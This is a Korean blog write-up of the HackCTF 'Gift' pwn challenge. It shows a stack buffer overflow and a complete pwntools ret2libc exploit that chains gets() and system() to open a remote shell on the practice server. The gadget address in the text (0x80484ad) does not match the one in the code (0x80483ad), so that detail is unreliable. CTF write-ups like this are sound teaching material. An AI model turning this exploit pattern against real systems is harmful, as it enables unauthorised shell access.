ii4gsp
HackCTF - Gift 본문
파일을 다운받아 주자.
IDA로 파일을 열어보면 printf()함수로 2개의 주소를 출력해준다.
binsh는 그냥 binsh라는 변수명을 가진 변수이다.
s는 0x84 즉, 132byte만큼 할당되었고, ret까지는 136byte이다.
exploit에서 gets()함수를 사용할것이다.
pop ret gadget을 찾으면된다.
pop ret = 0x80484ad
Exploit
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3018)
e = ELF('/home/ii4gsp/HackCTF/gift')
gets = e.plt['gets']
pr = 0x80483ad
r.recvuntil('Hey guyssssssssss here you are: ')
binsh = int(r.recv(9), 16)
r.recv(1)
system = int(r.recv(10), 16)
r.sendline('asd')
payload = ''
payload += '\x90' * 136
payload += p32(gets)
payload += p32(pr)
payload += p32(binsh)
payload += p32(system)
payload += '\x90' * 4
payload += p32(binsh)
r.sendline(payload)
r.sendline('/bin/sh\x00')
r.interactive()
소스코드를 작성해주자.
'시스템 해킹 > HackCTF' 카테고리의 다른 글
HackCTF - UAF (0) | 2020.02.19 |
---|---|
HackCTF - Pwning (0) | 2020.02.19 |
HackCTF - Look at me (0) | 2020.02.17 |
HackCTF - Beginner_Heap (0) | 2020.02.17 |
HackCTF - RTL_Core (0) | 2020.02.17 |
Comments